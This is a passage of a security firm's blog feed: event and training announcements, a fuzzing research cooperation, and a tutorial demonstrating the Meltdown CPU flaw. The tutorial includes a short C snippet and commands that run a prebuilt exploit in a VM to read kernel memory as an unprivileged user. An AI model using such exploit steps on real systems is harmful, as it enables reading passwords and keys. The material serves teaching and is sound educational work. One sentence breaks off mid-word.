href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">–&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/prufung-der-it-sicherheit-im-unternehmen.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">udis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>Register now, we look forward to seeing you!&lt;/p></description></item><item><title>SCHUTZWERK IS SPONSORING ELBSIDES 2025</title><link>https://www.schutzwerk.com/en/blog/elbsides-conference-2025/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 12 Mar 2025 11:00:00 +0100</pubDate><category>event</category><category>sponsor</category><category>news</category><description>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.elbsides.eu/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Elbsides&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2025&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Conference&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
will take place in Hamburg on 13 June 2025. We are pleased to be a sponsor once again. Following the successful Elbsides conferences in recent years, this year&amp;rsquo;s event will again be a full-day conference.&lt;/p>
&lt;p>Elbsides is a community-organized conference aimed at strengthening IT security in Germany. As a locally based security company in Hamburg, we are delighted to support this initiative as part of the local community and contribute to promoting networking and professional development in the industry.&lt;/p>
&lt;p>We look forward to exciting presentations, including that of keynote speaker Mikko Hypponen, CRO at WithSecure. Mikko is a renowned expert, researcher, and author in the field of cybersecurity. Interesting discussions and valuable personal exchanges on site will make the event a special experience. Join us there!&lt;/p></description></item><item><title>SCHUTZWERK at Embedded World 2025</title><link>https://www.schutzwerk.com/en/blog/embedded-world-2025/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 04 Feb 2025 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>embedded security</category><description>
&lt;h2 id="meet-schutzwerk-at-embedded-world-2025">Meet SCHUTZWERK at Embedded World 2025!&lt;/h2>
&lt;p>We at &lt;strong>SCHUTZWERK&lt;/strong> will be attending &lt;strong>Embedded World 2025&lt;/strong> in Nuremberg from &lt;strong>March 11th to 13th&lt;/strong>! The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.embedded-world.de/en/visitor"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.embedded-world.de/en/visitor"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">World&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a leading trade fair for experts in embedded systems.&lt;/p>
&lt;p>📍 &lt;strong>Visit us at booth 372 in Hall 5&lt;/strong> and connect about &lt;strong>embedded security&lt;/strong>. Our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
go deep — we dive into &lt;strong>firmware analysis, hardware &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, and side-channel attack resistance&lt;/strong>. Our expertise ensures that any vulnerability in your embedded systems will be closed before they can be exploited.&lt;/p>
&lt;h2 id="discover-how-attackers-exploit-weaknesses">Discover How Attackers Exploit Weaknesses&lt;/h2>
&lt;p>Whether you&amp;rsquo;re working on secure boot implementations, cryptographic robustness, or supply chain security, our &lt;strong>team of experts&lt;/strong> will be happy to answer your questions and introduce you to our services in &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>We help identify and mitigate vulnerabilities in embedded systems through in-depth security evaluations, covering firmware analysis, hardware testing, and side-channel attack resistance.&lt;/p>
&lt;p>We are here to support your projects and find out what &lt;strong>you really need&lt;/strong>. After all, our motto is:&lt;/p>
&lt;p>&lt;strong>Mastering Cybersecurity from Silicon to Cloud.&lt;/strong>&lt;/p>
&lt;h2 id="schedule-a-meeting">Schedule a Meeting&lt;/h2>
&lt;p>To schedule a meeting with us, use the calendar below.&lt;/p>
&lt;h2 id="get-your-free-ticket">Get Your Free Ticket&lt;/h2>
&lt;p>You want to meet us but don’t have a ticket? No worries! Send us an email at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:request@schutzwerk.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">request@schutzwerk.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to receive your &lt;strong>free ticket&lt;/strong>!&lt;/p>
&lt;p>We look forward to meeting you at Embedded World 2025! 🚀&lt;/p>
&lt;div style="width:100%;height:100%;overflow:scroll" id="my-cal-inline">&lt;/div>
&lt;script type="text/javascript">
(function (C, A, L) { let p = function (a, ar) { a.q.push(ar); }; let d = C.document; C.Cal = C.Cal || function () { let cal = C.Cal; let ar = arguments; if (!cal.loaded) { cal.ns = {}; cal.q = cal.q || []; d.head.appendChild(d.createElement("script")).src = A; cal.loaded = true; } if (ar[0] === L) { const api = function () { p(api, arguments); }; const namespace = ar[1]; api.q = api.q || []; if(typeof namespace === "string"){cal.ns[namespace] = cal.ns[namespace] || api;p(cal.ns[namespace], ar);p(cal, ["initNamespace", namespace]);} else p(cal, ar); return;} p(cal, ar); }; })(window, "https://cal.schutzwerk.com/embed/embed.js", "init");
Cal("init", {origin:"https://cal.schutzwerk.com"});
Cal("inline", {
elementOrSelector:"#my-cal-inline",
calLink: "\/team\/embedded-world-2025\/meeting-at-embedded-world-2025",
layout: "month_view"
});
Cal("ui", {"styles":{"branding":{"brandColor":"#000000"}},"hideEventTypeDetails":false,"layout":"month_view"});
&lt;/script>
&lt;script>
Cal("on",{action:"bookingSuccessful",callback(c){_paq.push(["trackEvent","cal","bookingSuccessful"])}});
&lt;/script></description></item><item><title>Certified IT Security Officer Training</title><link>https://www.schutzwerk.com/en/blog/seminarankuendigung-udis-2025-februar-maerz-april/</link><author>SCHUTZWERK GmbH</author><pubDate>Sat, 01 Feb 2025 13:00:00 +0100</pubDate><category>event</category><category>news</category><description>
&lt;h2 id="seminar-announcement-certified-training-to-become-an-it-security-officer">Seminar announcement: Certified training to become an IT security officer&lt;/h2>
&lt;p>The seminar organized by &lt;strong>udis - Ulmer Akademie für Datenschutz und IT-Sicherheit&lt;/strong> and presented by &lt;strong>SCHUTZWERK&lt;/strong> IT experts Dr. Bastian Könings and Christoph Wolfert offers IT specialists and managers the perfect opportunity to take their IT security skills to a new level and become certified as IT security officers.&lt;/p>
&lt;h2 id="what-is-it-about">What is it about?&lt;/h2>
&lt;p>This practice-oriented training course from &lt;strong>SCHUTZWERK&lt;/strong> prepares specialists and managers specifically for the challenges of IT security. Participants learn how to develop security strategies, manage risks and secure IT systems through targeted measures.&lt;br>
Central topics are&lt;/p>
&lt;ul>
&lt;li>cryptography&lt;/li>
&lt;li>data protection law&lt;/li>
&lt;li>Operating system and network security&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">tests&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>The training comprises a total of &lt;strong>15 days&lt;/strong>, divided into three seminar blocks, and ends with an examination day.&lt;/p>
&lt;h2 id="who-is-the-target-group">Who is the target group?&lt;/h2>
&lt;p>The seminar is aimed at IT security officers, IT managers, executives and other IT managers. Basic knowledge of IT and information security is helpful, but not a prerequisite.&lt;/p>
&lt;h2 id="further-information-and-registration">Further information and registration&lt;/h2>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Certified&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">training&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IT&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">officers&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.udis.de/seminare/it-sicherheitsbeauftragte.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">udis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>Register now - we look forward to seeing you!&lt;/p></description></item><item><title>Research cooperation between SCHUTZWERK and Lauterbach to improve fuzzing in embedded systems</title><link>https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 10 Dec 2024 13:00:00 +0100</pubDate><category>embedded security</category><category>news</category><category>cooperation</category><description>
&lt;p>We are pleased to announce a research collaboration between
&lt;strong>SCHUTZWERK&lt;/strong> and &lt;strong>Lauterbach&lt;/strong>. Together we will work on the exploration of
debugger-assisted fuzzing using the Lauterbach TRACE32® debug and trace tools.
The collaboration aims to develop new methods to improve fuzzing and
manual &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">pentesting&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of embedded and automotive devices under &lt;strong>greybox conditions&lt;/strong>, even without available source code or symbols.&lt;/p>
&lt;h2 id="project-goals-and-steps">Project goals and steps&lt;/h2>
&lt;p>As part of this project, we plan to implement the following steps:&lt;/p>
&lt;h3 id="1-data-conversion-and-data-collection">1. Data conversion and data collection&lt;/h3>
&lt;p>Development of a converter tool to feed exported tracing data from Lauterbach
Debugger into &lt;strong>Ghidra&lt;/strong> and enable the use of &lt;strong>Ghidra Cartographer&lt;/strong>. The goal is to
analyze the state of the firmware after fuzzing and manual testing, and to evaluate
the coverage by common scanners and blind fuzzing without feedback.&lt;/p>
&lt;h3 id="2-interpolation-of-the-program-flow-between-program-counter-samples">2. Interpolation of the program flow between program counter samples&lt;/h3>
&lt;p>Since the program counter in limited debugging environments is expected to be
captured in snooping mode with limited sampling rate, we need to interpolate the
program flow. To do this, the &lt;strong>basic block graph&lt;/strong> of the program is determined using
Ghidra and exported.&lt;/p>
&lt;h3 id="3-integration-into-guided-fuzzing">3. Integration into guided fuzzing&lt;/h3>
&lt;p>The information obtained about the program flow and coverage is used as input for
guided fuzzing that interacts with the embedded system via a communication bus.&lt;/p>
&lt;h2 id="who-is-lauterbach">Who is Lauterbach?&lt;/h2>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.lauterbach.com/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Lauterbach&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is the leading manufacturer of cutting-edge development tools for
embedded systems with more than 45 years of experience. It is a well-established company, serving customers all over the world, partnering with all
semiconductor manufacturers and growing steadily. Lauterbach&amp;rsquo;s TRACE32®
debug and trace tools support more than 150+ processor architectures, much more
than 10.000 individual chips, and cover even the most complex System-on-a-Chip
(SoC).&lt;/p>
&lt;p>The publication of the results is planned for the end of 2025.
We are looking forward to this research project and the new opportunities
it will offer for the security analysis of embedded systems.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Fuzzing&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">1:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Getting&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Lauterbach&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">snoops&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/"
class="link-background inline split"
>
&lt;span class="link-label">Ghidra&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;hr></description></item><item><title>Meltdown in a can - Go meltdown yourself!</title><link>https://www.schutzwerk.com/en/blog/meltdown-in-a-can/</link><author>Nils Bauknecht, Youheng Lü</author><pubDate>Mon, 25 Nov 2024 11:50:43 +0200</pubDate><category>attacks</category><category>research</category><category>toolrelease</category><description>
&lt;p>When Meltdown and Spectre were published in 2018, the reaction was immense.
News outlets talked about how no computer was secure, and many experts were shocked to learn of the new class of vulnerabilities they introduced.
Meltdown and Spectre, the first microarchitectural CPU vulnerabilities, seemed to redefine what was possible in the realm of hardware flaws.
They affected, with few exceptions, almost every CPU manufactured between 1995 and 2018.
With this guide, you will be able to demonstrate the Meltdown on your own Computer.&lt;/p>
&lt;h2 id="thanks">Thanks&lt;/h2>
&lt;p>This blog post would not have been possible without the awesome people at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://pwn.college"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">pwn.college&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>The idea was originally a Capture-the-Flag challenge for their System Security course and has now been repurposed for this demo.
This is also the reason why there is no source code: It is necessary to preserve academic integrity and
preventing the students from easily modifying the exploit code to solve a graded challenge.&lt;/p>
&lt;p>I would also like to thank &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cispa.de/en/people/c01lohe"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Lorenz&lt;/span>
&lt;/a>&lt;a
href="https://cispa.de/en/people/c01lohe"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hetterich&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for his valuable insights into the inner workings of Meltdown and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://zhangruiyi.me"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ruiyi&lt;/span>
&lt;/a>&lt;a
href="https://zhangruiyi.me"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Zhang&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for testing the exploit.&lt;/p>
&lt;h2 id="purpose-of-this-guide">Purpose of this Guide&lt;/h2>
&lt;p>With the following guide, you will be able to use the Meltdown exploit within a virtual machine on your own Computer.
To our knowledge, no such demonstration is otherwise available.
So, next time you want to show your friends a revolutionary CPU exploit at a party, follow the simple steps below and enjoy!&lt;/p>
&lt;blockquote>
&lt;p>If you are interested, below is a brief explanation of Meltdown. If you just want to run the demo, feel free to skip to &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/meltdown-in-a-can/#running-the-demo"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/meltdown-in-a-can/#running-the-demo"
class="link-background inline split"
>
&lt;span class="link-label">guide&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;/blockquote>
&lt;h2 id="explanation-of-meltdown">Explanation of Meltdown&lt;/h2>
&lt;p>Meltdown exploits the fact that permission checks and instructions run in parallel.
This means that instructions may get executed before permission checks finish.
While the instructions get discarded later, the microarchitectural state still gets affected by the instructions.&lt;/p>
&lt;p>Our exploit tries to read from a memory address that belongs to the kernel.
This should not work since normal user programs do not have permission to read kernel memory.
However, due to parallel processing, the read execution is still executed before the permission check is finished:
The memory contents are fetched and can be used to manipulate the microarchitectural state.
As soon as the permissions check returns a result, the fetched information is discarded, but the CPU&amp;rsquo;s microarchitectural state is still affected.&lt;/p>
&lt;p>&lt;em>Note:&lt;/em> For the exploit to work the kernel memory address needs to be already loaded in the L1 Cache.
Otherwise, the read is not fast enough to be executed before the permission check.&lt;/p>
&lt;h3 id="writing-to-an-array">Writing to an Array&lt;/h3>
&lt;p>Before we attempted the Meltdown exploit, we created a large array. We also ensured that none of its contents were cached. Within the speculatively executed instructions, we compute a value based on the secret data then access a single page of the array, like seen below.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> data = *(&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span>*) &lt;span style="color:#3677a9">0xffffffff81a000e0&lt;/span>; &lt;span style="color:#999;font-style:italic">//&amp;lt;-- this fails a permission check.
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> tmp = array[data * &lt;span style="color:#3677a9">4096&lt;/span>]; &lt;span style="color:#999;font-style:italic">//&amp;lt;-- before the check fails, this instruction is still executed
&lt;/span>&lt;span style="color:#999;font-style:italic">// The second instruction affects the microarchitectural state of the CPU
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>While nothing should have happened, vulnerable CPUs within our array will have cached the page at the location &lt;code>data * 4096&lt;/code>.
It is now the only cached page within the array.&lt;/p>
&lt;h3 id="reading-from-the-array">Reading from the Array&lt;/h3>
&lt;p>By measuring the response times when &amp;lsquo;probing&amp;rsquo; the array, we can now determine which pages inside the array are cached.
Because the page at the index accessed by the transient instruction is the only one cached, we can reverse the operation to get the data: &lt;code>data = index / 4096&lt;/code>, where &lt;code>index&lt;/code> is the index of the cached page.&lt;/p>
&lt;h3 id="disclaimer">Disclaimer&lt;/h3>
&lt;p>The above is a partially simplified explanation of the Meltdown exploit.
If you are interested, more detailed and extensive explanations are available in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://meltdownattack.com/meltdown.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">original&lt;/span>
&lt;/a>&lt;a
href="https://meltdownattack.com/meltdown.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, in this &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://spectrum.ieee.org/how-the-spectre-and-meltdown-hacks-really-worked"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IEEE&lt;/span>
&lt;/a>&lt;a
href="https://spectrum.ieee.org/how-the-spectre-and-meltdown-hacks-really-worked"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">spectrum&lt;/span>
&lt;/a>&lt;a
href="https://spectrum.ieee.org/how-the-spectre-and-meltdown-hacks-really-worked"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">article&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and, of course, from various other sources on the internet.&lt;/p>
&lt;h2 id="running-the-demo">Running the Demo&lt;/h2>
&lt;h3 id="prerequisites">Prerequisites:&lt;/h3>
&lt;ul>
&lt;li>Linux Host system&lt;/li>
&lt;li>CPU vulnerable to Meltdown&lt;/li>
&lt;/ul>
&lt;h3 id="1-ensuring-meltdown-is-present-on-cpu">1. Ensuring Meltdown is present on CPU:&lt;/h3>
&lt;p>It should affect all Intel CPUs until the 8th generation and some 9th-generation chips.
You can check for your specific CPU with:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">grep meltdown /proc/cpuinfo
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If your CPU is vulnerable, your output should look something like this
&lt;img src="image-6.png" alt="Demo Meltdown vulnerable">&lt;/p>
&lt;h3 id="2-install-qemu">2. Install QEMU&lt;/h3>
&lt;p>On Debian-based Systems like Ubuntu you can Install QEMU with the following command&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">sudo apt update
sudo apt install qemu-system-x86 -y
&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="3-extract-the-folder">3. Extract the folder&lt;/h3>
&lt;p>To make the demo as easy as possible, we already wrote the exploit and put it in a tar archive.
The &lt;code>qemu&lt;/code> launch scripts has been taken from the GitHub repository &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/pwncollege/pwnkernel/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">pwnkernel&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;ol>
&lt;li>Download and extract the demo to a folder. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/meltdown-in-a-can/meltdown-yourself.tar.gz"
class="link-background inline split"
>
&lt;span class="link-label">Download&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/meltdown-in-a-can/meltdown-yourself.tar.gz"
class="link-background inline split"
>
&lt;span class="link-label">Demo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Open a terminal and navigate to the folder you extracted to.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">tar -xvf meltdown-yourself.tar.gz
&lt;span style="color:#24909d">cd&lt;/span> meltdown-yourself
&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="4-launch-the-exploit">4. Launch the exploit&lt;/h3>
&lt;p>In this demonstration, we will begin by loading some data into kernel memory, e.g. the memory that is owned by the kernel. We should be unable to read this memory unless we have root privileges. Then, as a normal user, we will run a program, which will read and display the data we initially placed in the kernels' memory.&lt;/p>
&lt;ol>
&lt;li>Run &lt;code>sudo ./launch.sh&lt;/code> to start the virtual machine. The output should look like this:
&lt;img src="image-7.png" alt="Image when launch.sh is successful">&lt;/li>
&lt;/ol>
&lt;p>&lt;strong>Note&lt;/strong> It&amp;rsquo;s possible to run the Demo without &lt;code>sudo&lt;/code> by adding yourself to the &lt;code>kvm&lt;/code> group, which is explained in this &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.dedoimedo.com/computers/kvm-permission-denied.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Blog&lt;/span>
&lt;/a>&lt;a
href="https://www.dedoimedo.com/computers/kvm-permission-denied.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>Now, we are ready to run the automated demonstration of Meltdown. We will try to read the flag at 0xffffffffc0002560&lt;/p>
&lt;ol start="2">
&lt;li>Run the exploit with&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">./meltdown_physical 0xffffffffc0002560 34
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="3">
&lt;li>An output like the one in the image below should appear. If something else, like an exception, happens, exit the VM and retry. Ensure you are following all steps in order.
&lt;img src="image-9.png" alt="output">&lt;/li>
&lt;/ol>
&lt;p>Congratulations! You successfully used the Meltdown vulnerability against yourself!
In this demo you were able to read physical memory as an unprivileged user.&lt;/p>
&lt;p>Now you can try reading out other information like the Linux kernel banner located at 0xffffffff82200140:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">./meltdown_physical 0xffffffff82200140 &lt;span style="color:#3677a9">100&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Please note that this exploit only targets printable characters for demonstration purposes.&lt;/p>
&lt;p>Let&amp;rsquo;s take a quick look at why you won&amp;rsquo;t be able to put this on a USB stick and steal your friends' pa&lt;/p>
&lt;h2 id="why-was-meltdown-dangerous">Why was Meltdown dangerous?&lt;/h2>
&lt;p>As explained above, Meltdown allows us to arbitrarily read data stored (almost) anywhere in system memory, as long as we can execute any code on the system.
This can be used to steal things like passwords, private encryption keys, or other sensitive data.
Some &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/IAIK/meltdown"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">proof-of-concepts&lt;/span>
&lt;/a>
&lt;/span>
